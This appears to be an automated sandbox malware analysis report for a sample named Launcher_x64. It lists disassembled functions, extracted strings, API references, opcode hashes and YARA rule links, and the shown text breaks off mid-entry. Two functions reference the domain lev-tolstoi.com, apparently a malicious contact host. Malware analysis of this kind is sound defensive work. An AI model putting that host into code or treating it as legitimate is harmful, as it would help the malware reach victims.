Instruction Fuzzy Hash: F9C12A7164C3914FC328CF25945126BFBE2ABD1314F19893EE9D56B381D779880A8B87

Function 004225EF Relevance: 9.6, Strings: 7, Instructions: 807COMMON

Download Yara Rule

Strings

oo]_, xrefs: 004227D1
So]Z, xrefs: 004227C9
CGHv, xrefs: 00422809
RZ, xrefs: 004227D9
5G4F, xrefs: 00422801
HOyy, xrefs: 00422811
JBI, xrefs: 004227F1

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: JBI$5G4F$CGHv$HOyy$RZ$So]Z$oo]_
API String ID: 0-1391714108
Opcode ID: 8a70aa9ff92ae148bdc3f290c8c5a9f8ab6e9201005828d800c9111bdf3ec3af
Instruction ID: d1071b791ef8fc50169c5f7008e24d58f9b16422e5163889b52f9cf591093796
Opcode Fuzzy Hash: 8a70aa9ff92ae148bdc3f290c8c5a9f8ab6e9201005828d800c9111bdf3ec3af
Instruction Fuzzy Hash: 90420C796183129FD314CF29E89072BB7E2FB8A305F59897CE88597391DB38D801CB59

Function 00409220 Relevance: 9.2, Strings: 7, Instructions: 481COMMON

Download Yara Rule

Strings

KX]^, xrefs: 0040946A
<, xrefs: 00409472
}~, xrefs: 00409707
68C6103D0F18277B312F742701D40858, xrefs: 00409348
~@q}, xrefs: 004092D7
kXSD, xrefs: 00409462
i, xrefs: 0040950C

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: 68C6103D0F18277B312F742701D40858$<$KX]^$i$kXSD$}~$~@q}
API String ID: 0-2505310567
Opcode ID: c0ca9c90f307fbc670b3648e2a9e92d3c8d91de5366dea1fcbc3c291b9aadf11
Instruction ID: ca08c7dc994906383c84d97b00ead15b932a24b8bd1c8dfa58b2ac8b606dd11b
Opcode Fuzzy Hash: c0ca9c90f307fbc670b3648e2a9e92d3c8d91de5366dea1fcbc3c291b9aadf11
Instruction Fuzzy Hash: D4E16AB2A0C3148FC314DF64C89176BBBE6EBD1304F19497DE4E19B391D639C9098B86

Function 0041524C Relevance: 8.9, Strings: 6, Instructions: 1365COMMON

Download Yara Rule

Strings

C*)?, xrefs: 00415BF0, 00415C38
h{, xrefs: 00415412
C88,, xrefs: 00415272
], xrefs: 00415BE6
E[Gx, xrefs: 00415D55
], xrefs: 00415254

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: C*)?$C88,$E[Gx$]$]$h{
API String ID: 0-2596919934
Opcode ID: 1a25a37349253e337dc83aee5558089e7c54cb60df5fd1de93ec87baff3a65af
Instruction ID: 946ff3345064ed1f49a0d3c9c1293e0ce8753abcfb306ffc685b823cbdff1208
Opcode Fuzzy Hash: 1a25a37349253e337dc83aee5558089e7c54cb60df5fd1de93ec87baff3a65af
Instruction Fuzzy Hash: 02825876908750CBD324CF24D8907ABB7E2EFC6310F29896DE4C58B791D7789842CB96

Function 0041BF20 Relevance: 8.1, Strings: 6, Instructions: 600COMMON

Download Yara Rule

Strings

vw, xrefs: 0041C36E
2{[., xrefs: 0041C0BE
]xyz, xrefs: 0041C5A6
Y8Y:, xrefs: 0041C11F
R{[., xrefs: 0041C0EF
<=, xrefs: 0041C51B

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: 2{[.$<=$R{[.$Y8Y:$]xyz$vw
API String ID: 0-654056292
Opcode ID: 0a71ce16255bdeab97465fb56702f3eb8eb98e5b07403acaf3000d429db71e00
Instruction ID: b8255bded3a0ab9dd70b1abc051f0f13c897e39093c7c7224cc838062c88527a
Opcode Fuzzy Hash: 0a71ce16255bdeab97465fb56702f3eb8eb98e5b07403acaf3000d429db71e00
Instruction Fuzzy Hash: BA02FFB155C3109BD7149F65C8926ABBBF1EFD6304F08C92DE4C587281E7389908CB9A

Function 00408B10 Relevance: 7.8, Strings: 6, Instructions: 315COMMON

Download Yara Rule

Strings

53, xrefs: 00408B29
VM_U, xrefs: 00408C01
sqmp, xrefs: 00408C11
:, xrefs: 00408B30
tpfr, xrefs: 00408C31
mqoh, xrefs: 00408C19

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: 53$:$VM_U$mqoh$sqmp$tpfr
API String ID: 0-2138070392
Opcode ID: 1b6664af7c86144a3a54590cf0e283a340205974ec49d180384c121aab9cc47b
Instruction ID: f47402dcdedb2c55df3baf03e9a527227207cfd323fcd0d5de5a024943b09c0f
Opcode Fuzzy Hash: 1b6664af7c86144a3a54590cf0e283a340205974ec49d180384c121aab9cc47b
Instruction Fuzzy Hash: 32814D712083818AD705CF29C5913BBFFE29FE2244F1845BED4C1AB382D73D890A8766

Function 0042E5B9 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 312COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(36557EAD), ref: 0042E8B3

Strings

>, xrefs: 0042E8D2
ZWUZ, xrefs: 0042E7C4

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: FreeLibrary
String ID: >$ZWUZ
API String ID: 3664257935-985827506
Opcode ID: 0e253cd56e222866700ffa9963fdf96bff6b78a94975377ed1d89dba3caa6cd8
Instruction ID: 0a8d9c81c674254a7875c1a056ece1788b71ca50f13d2924f3fb4fdd7b55783f
Opcode Fuzzy Hash: 0e253cd56e222866700ffa9963fdf96bff6b78a94975377ed1d89dba3caa6cd8
Instruction Fuzzy Hash: 3DA158307443418FE7258F29C881B63BBD2EF96310F588A6ED59A4F3C2D638A805C759

Function 00419930 Relevance: 4.5, APIs: 2, Instructions: 1487COMMON

Download Yara Rule

APIs

Part of subcall function 0043C390: LdrInitializeThunk.NTDLL(0043E4EB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043C3BE

FreeLibrary.KERNEL32(?), ref: 00419F8A
FreeLibrary.KERNEL32(?), ref: 0041A02B

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID:
API String ID: 764372645-0
Opcode ID: 75c1769443dfcf37383e30ada7ff87d8ca741cbdbf89dd6d3a15acba7a5b1347
Instruction ID: ad8069fa9921c6545925a63361968e707b1cec5adc7f1e82dd6ec27db36ef7ad
Opcode Fuzzy Hash: 75c1769443dfcf37383e30ada7ff87d8ca741cbdbf89dd6d3a15acba7a5b1347
Instruction Fuzzy Hash: B0929A76A493409BD324CF25CC947ABBBE2EBC9310F28842DE4C587791D678DC96CB46

Function 0042E106 Relevance: 4.0, Strings: 3, Instructions: 281COMMON

Download Yara Rule

Strings

IO{H, xrefs: 0042E32C
p$w&, xrefs: 0042E4FB
yX=Z, xrefs: 0042E502

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: IO{H$p$w&$yX=Z
API String ID: 0-258344299
Opcode ID: ac168e5c794510c57f396d26eafb5eb82ea17d1e137a0f7fc6b4058d790f4dee
Instruction ID: c97448ef1a2de08e62a4c346c0761d5c328fedc96c5d8dc6c146683e4c5ce246
Opcode Fuzzy Hash: ac168e5c794510c57f396d26eafb5eb82ea17d1e137a0f7fc6b4058d790f4dee
Instruction Fuzzy Hash: A39114706047518FD319CF26D4A0723BBE2AF97304F28C99ED4E64B796C639E402CB55

Function 0042E1EA Relevance: 4.0, Strings: 3, Instructions: 276COMMON

Download Yara Rule

Strings

IO{H, xrefs: 0042E32C
p$w&, xrefs: 0042E4FB
yX=Z, xrefs: 0042E502

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: IO{H$p$w&$yX=Z
API String ID: 0-258344299
Opcode ID: 21c65a4614b2094b7f09e0f2480a2d4b02bbdd23b0e933c442b79c8e4819c543
Instruction ID: 10a4cfb9e9bc71fe82d616fa4186f7c032dadb14d920d1e75fe80738303b050f
Opcode Fuzzy Hash: 21c65a4614b2094b7f09e0f2480a2d4b02bbdd23b0e933c442b79c8e4819c543
Instruction Fuzzy Hash: E69112706047518FD719CF26D4A0723BBE2AF97304F28C59ED4E68B396C63AE402CB55

Function 0042E246 Relevance: 4.0, Strings: 3, Instructions: 276COMMON

Download Yara Rule

Strings

IO{H, xrefs: 0042E32C
p$w&, xrefs: 0042E4FB
yX=Z, xrefs: 0042E502

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: IO{H$p$w&$yX=Z
API String ID: 0-258344299
Opcode ID: 579baf21dd3e77a5de39d7429a66f87c1b0c687d54997badf17cfdc843ff598b
Instruction ID: 98b56ffdc51e17c0044a49197562225fbdb646ff068fb30864dfdb594c0d2ab9
Opcode Fuzzy Hash: 579baf21dd3e77a5de39d7429a66f87c1b0c687d54997badf17cfdc843ff598b
Instruction Fuzzy Hash: 6D9113706047518FD719CF3694A0723BBE2AF97304F28C59ED4E68B396C63AE402CB55

Function 0040C773 Relevance: 4.0, Strings: 3, Instructions: 266COMMON

Download Yara Rule

Strings

DE, xrefs: 0040CAEB
lev-tolstoi.com, xrefs: 0040CB44
?C, xrefs: 0040C898

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: DE$lev-tolstoi.com$?C
API String ID: 0-153105410
Opcode ID: ef1cf972215bdc8c0bc29a5e7f7c6cd2b62f4c9deeff44dc2325ac8eb1e142dc
Instruction ID: b0d799d0c5ff02fbdd18a9f9d11949fd93bd32b37df7853c51a825a64bed87eb
Opcode Fuzzy Hash: ef1cf972215bdc8c0bc29a5e7f7c6cd2b62f4c9deeff44dc2325ac8eb1e142dc
Instruction Fuzzy Hash: 6D9126B144D3D18FD3318F6588907EBBFE1ABD6310F198A6DC4D86B382D6790909CB96

Function 0042E234 Relevance: 4.0, Strings: 3, Instructions: 249COMMON

Download Yara Rule

Strings

IO{H, xrefs: 0042E32C
p$w&, xrefs: 0042E4FB
yX=Z, xrefs: 0042E502

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: IO{H$p$w&$yX=Z
API String ID: 0-258344299
Opcode ID: 91abf5d5f44ba0007092eb3476dbfaf43d5ab6ab314252f32db8800f8a38335f
Instruction ID: 6360d782b84a95e2d96c1a87e186f2c39caee5b9ed871cbbab4650e988f8af77
Opcode Fuzzy Hash: 91abf5d5f44ba0007092eb3476dbfaf43d5ab6ab314252f32db8800f8a38335f
Instruction Fuzzy Hash: 407102716047908FD315CF2694A0723BBE2AF97304F28C59ED4E64B796C639E806CB59

Function 00414DB4 Relevance: 4.0, Strings: 3, Instructions: 225COMMON

Download Yara Rule

Strings

7, xrefs: 00414ECD
tu, xrefs: 00414E82
gfff, xrefs: 00414F2B

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: 7$gfff$tu
API String ID: 0-496940666
Opcode ID: b1e15ac469a5da1c2f10c9dc0032808268a8cc6eadfb6d613c60b59fe4ea4cb3
Instruction ID: 0865dfbf79774b2a2b0c8fd8156debe70b6d641c39cd8d8e57a19c5ce7866f8b
Opcode Fuzzy Hash: b1e15ac469a5da1c2f10c9dc0032808268a8cc6eadfb6d613c60b59fe4ea4cb3
Instruction Fuzzy Hash: E9713275A043118BD728CF18D8617BB77E2FBC5304F58862EE486CB395EB3899468B85

Function 0042B801 Relevance: 3.1, Strings: 2, Instructions: 555COMMON

Download Yara Rule

Strings

\g, xrefs: 0042B87A
6, xrefs: 0042BDC0

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: \g$6
API String ID: 0-3854233087
Opcode ID: 3d7e5de33235349de088db667f173bb68dea14ccd507be2303a4f191808bc736
Instruction ID: 94c3f3c97a1d5e79b2ad8a6ad4342fa13f5320d73f4efefc864be8e3607bbcf5
Opcode Fuzzy Hash: 3d7e5de33235349de088db667f173bb68dea14ccd507be2303a4f191808bc736
Instruction Fuzzy Hash: 4B127EB4904B829FD3219F399292663BFB0FF12300F54865ED4E64BB45D335A42ACBD6

Function 00429BA0 Relevance: 2.8, Strings: 2, Instructions: 346COMMON

Download Yara Rule

Strings

N@FN, xrefs: 00429F65, 00429F87, 00429F90, 00429FBF
BLCJ, xrefs: 00429F48

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: BLCJ$N@FN
API String ID: 0-3139961213
Opcode ID: 70fd856913ae7392fe0c6458f394fc9319144197031aef01fc4015dc9b560a74
Instruction ID: cf93fe7613e2a8793a112244e2a734f3b84eace94cbb547789e25485c7b46e90
Opcode Fuzzy Hash: 70fd856913ae7392fe0c6458f394fc9319144197031aef01fc4015dc9b560a74
Instruction Fuzzy Hash: 1AB1657460C754DFE7109F20A84176BBBF4EF8A314F44093DF5849B2A2D7789906CB8A

Function 0042623D Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

.jB, xrefs: 00426A28
VCQA, xrefs: 004269CA

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: .jB$VCQA
API String ID: 0-3993559281
Opcode ID: b40c3223a189a0cd7fdac5c1d5a372e8040aa132ef09f6664990ef57179866c4
Instruction ID: 2300ab299786d9f34492229890a02b6ba3baefb8a29c2efd7581561b247dd9bb
Opcode Fuzzy Hash: b40c3223a189a0cd7fdac5c1d5a372e8040aa132ef09f6664990ef57179866c4
Instruction Fuzzy Hash: 18518C717493618FD720DB2898C0267BB92DF96350F8A867ED4D10B3D2D73D8809D39A

Function 00416DCF Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

0oA, xrefs: 00416F2A
I'j), xrefs: 00416EE6

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: 0oA$I'j)
API String ID: 0-1810545798
Opcode ID: 4ba76e1b5db9f385e37d06866b11f846ce89df63c700cbb9aec8f4e6f00611e1
Instruction ID: 0092929035da20e583a51c72eb37b1bbfe9614ff92be8b352ed13965c520a811
Opcode Fuzzy Hash: 4ba76e1b5db9f385e37d06866b11f846ce89df63c700cbb9aec8f4e6f00611e1
Instruction Fuzzy Hash: 8831C0B1546341CBC3209F14C9546ABB7F2FFD2714F598A1EE4899B390E338C841CB8A

Function 0041E6A0 Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

lEZ[, xrefs: 0041E6A0

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: lEZ[
API String ID: 0-2584274222
Opcode ID: f303e30422931e10d672eec72d6aa1dabff2b68cc19d8b03798bb15b66eb6020
Instruction ID: a51eeb7752b6365748cb99579e22aeedeabe5e6500fba97ac20d794f2f7b89a7
Opcode Fuzzy Hash: f303e30422931e10d672eec72d6aa1dabff2b68cc19d8b03798bb15b66eb6020
Instruction Fuzzy Hash: 20617B399083908FD3259F2AC88096F7BE1AF95324F4881BEECE447392D635DC46C796

Function 0043EAF0 Relevance: 1.4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

Strings

<;:9, xrefs: 0043EB10

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: InitializeThunk
String ID: <;:9
API String ID: 2994545307-3375088645
Opcode ID: a0c0ed737b2660164212d3fe5a028c77e4ce9ffc60af5f4730cee43378f6fb4b
Instruction ID: 32371bfa02755528203ac100cb9c3482a13548a5864d6b08e87e80e62c56b9c0
Opcode Fuzzy Hash: a0c0ed737b2660164212d3fe5a028c77e4ce9ffc60af5f4730cee43378f6fb4b
Instruction Fuzzy Hash: E841F376B05310ABE720CE66CC81B3BF3D6A7CD714F19653DE989A7390D229AC009799

Function 0040A03B Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

lev-tolstoi.com, xrefs: 0040A040

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: lev-tolstoi.com
API String ID: 0-483096278
Opcode ID: 5a509271d27b97c8b237ef2f3a480366bd364bd361ba63c71ae393b9785d4f20
Instruction ID: 1ad9fdfbc3d6cb17ac050f525aea47afc3ee2b555b898c82acf40e87dda8770c
Opcode Fuzzy Hash: 5a509271d27b97c8b237ef2f3a480366bd364bd361ba63c71ae393b9785d4f20
Instruction Fuzzy Hash: E1E01A784082018AC314DF04C861673B3B1EF4A746F002869E882DB351E3789944EB1E

Function 0043D2D7 Relevance: 1.3, Strings: 1, Instructions: 12COMMON

Download Yara Rule

Strings

;4, xrefs: 0043D3CE

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: ;4
API String ID: 0-2844496594
Opcode ID: d07b8aae4d3ffa7cf2037fd880fc1f4a3fbeaa4e2a8c4ef377a0d0af8a7a17f3
Instruction ID: 7363c5d5b30630db63bb1429aabaa7102bdc9a509c3d35576b252daf177e8021
Opcode Fuzzy Hash: d07b8aae4d3ffa7cf2037fd880fc1f4a3fbeaa4e2a8c4ef377a0d0af8a7a17f3
Instruction Fuzzy Hash: A1C04C28A5C54087820C8B54E8628756265D74B25CB25782AC44363651E614E812961D

Function 0043D3C3 Relevance: 1.3, Strings: 1, Instructions: 12COMMON

Download Yara Rule

Strings

;4, xrefs: 0043D3CE

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: ;4
API String ID: 0-2844496594
Opcode ID: 6a03a5d961d4a122c6154f95f5aa4860e6ee92da11f370473c03fb86c44c9108
Instruction ID: 85792f14a85af9483b54351255db2ddb1787a32507df71d9a856159f0c301117
Opcode Fuzzy Hash: 6a03a5d961d4a122c6154f95f5aa4860e6ee92da11f370473c03fb86c44c9108
Instruction Fuzzy Hash: 9FC04C38A5C54087860CCF44D863CB5B375E75735CB25642AC44237651D625F812961C

Function 00413DE0 Relevance: .7, Instructions: 662COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9975d5096d2df598f8f1b18b65e16e51dc04a4eb8820b26996945d24d50b5e07
Instruction ID: 4646a0a207e90d32a5f07b6c062fc331b9b4eda89b06272facc8898fe6ae0c9d
Opcode Fuzzy Hash: 9975d5096d2df598f8f1b18b65e16e51dc04a4eb8820b26996945d24d50b5e07
Instruction Fuzzy Hash: CB023476A083008FD704DF25D8527ABB7F1EF85319F18842DE88587391E779DA46CB8A

Function 00407470 Relevance: .6, Instructions: 611COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bda4b375fcd006c169eac15fcd02c62b224c6f04cfe56def1b0a70d90047895
Instruction ID: 8249dbe79435663dbc1fb59fae99bab8598ac9d7fe647922c150dd54caf7bf00
Opcode Fuzzy Hash: 7bda4b375fcd006c169eac15fcd02c62b224c6f04cfe56def1b0a70d90047895
Instruction Fuzzy Hash: EB12A272A0C7118BC725DF18D8806ABB3E2BFC4315F19893ED586A7385D738B8118B87

Function 00428950 Relevance: .6, Instructions: 572COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4619cf223af8198b88be87ebf92622dc091b301b5c108c2c1874c49d52a6af1e
Instruction ID: 5aa941da1f976eaeaa8b35b143c2842886abe6ff6a68546d006384ec7a1d2cee
Opcode Fuzzy Hash: 4619cf223af8198b88be87ebf92622dc091b301b5c108c2c1874c49d52a6af1e
Instruction Fuzzy Hash: 1302EF71A0C3218BD724CF64D88076FB3E2EBD5304F04493DE9959B282EB759909CB9A

Function 00438680 Relevance: .5, Instructions: 453COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 279043dd8c5340cb0b6158fae8ffcb9100b2f6ecd3eb49fada46f4c036c50eae
Instruction ID: 20ec464b07922d83c1775bf2789846d225831bb389f209247fbd487f8a225285
Opcode Fuzzy Hash: 279043dd8c5340cb0b6158fae8ffcb9100b2f6ecd3eb49fada46f4c036c50eae
Instruction Fuzzy Hash: 22B126746083004BD714EF25D88163BF7A2EBDE314F24A92EF58557392DB39EC06879A

Function 00405910 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0844557a0379c24c8fc1471b41180fc22d546779764b41d269fbe12e5f72335
Instruction ID: 48d9341909362addc4c675d4786467c80c427c9684c637eefa89a90fde3abb45
Opcode Fuzzy Hash: c0844557a0379c24c8fc1471b41180fc22d546779764b41d269fbe12e5f72335
Instruction Fuzzy Hash: 40F1D2356087418FD724CF29C88066BFBE2EFD9304F08882EE5D597791E679E904CB96

Function 00421F20 Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a285db9e8c7edcc63df9c36047d998941caa7c2c3dacc23210bf07a432b5b1a
Instruction ID: 8cbf46bb28bf406465367b4de668a31a4b3cdd868a891f7ea0dd3351814c3364
Opcode Fuzzy Hash: 3a285db9e8c7edcc63df9c36047d998941caa7c2c3dacc23210bf07a432b5b1a
Instruction Fuzzy Hash: EAB14772B043209BC720DF249D82A7BB3A1EF91324F49852DE99597381E37DEC05C39A

Function 00438E07 Relevance: .4, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97e009e0315436a1731f6a03ee0a9a8bb827ae520f5b4c9fe0da27906fdad42e
Instruction ID: f624fb7d0d2682eb8e2514ea54b8b79b30e071573567d18a4e3a07cdb7883179
Opcode Fuzzy Hash: 97e009e0315436a1731f6a03ee0a9a8bb827ae520f5b4c9fe0da27906fdad42e
Instruction Fuzzy Hash: 92D1D37B628252CBCB185F78D8A227A73F1FF4A741F0A847DD882872A0E7388955C755

Function 0043ADC0 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 583f48ddf441637194c61a4853c86379af0676fd195e760495eeff77e693d592
Instruction ID: 79a3a22eacaa49d51bc6397fda91b65e3fab8852545732a8213c30960ce9295d
Opcode Fuzzy Hash: 583f48ddf441637194c61a4853c86379af0676fd195e760495eeff77e693d592
Instruction Fuzzy Hash: 99517836A442104BC728CE38D89166BB7D2EBC9324F19963ED8E9C33A1D6389C01C796

Function 0043B930 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b8dd922ce339ffded28b357dcd6875d3759b3b2932c15326ee1b76543155c89
Instruction ID: e631fc426190abaf239cdd5ea674f63a46bc15f569e73c10bda7bcf504c39271
Opcode Fuzzy Hash: 8b8dd922ce339ffded28b357dcd6875d3759b3b2932c15326ee1b76543155c89
Instruction Fuzzy Hash: D081B27160D3828BC315CF29C49062ABBE2EFC9314F18866EE5E587382D739D801CB96

Function 0041B841 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36361efd2b806579cfff043ac4214852268babc5a16b8e7cc4ddafd96c8be452
Instruction ID: c0b9cc1d680a60882a3de2ac15c9bee26123d6b53933384bd255edb89fe220d1
Opcode Fuzzy Hash: 36361efd2b806579cfff043ac4214852268babc5a16b8e7cc4ddafd96c8be452
Instruction Fuzzy Hash: 735115755083448BC715DF24D8A17BBB7F0EFAA314F08595DE4C68B391E3389840CB96

Function 00429EAE Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
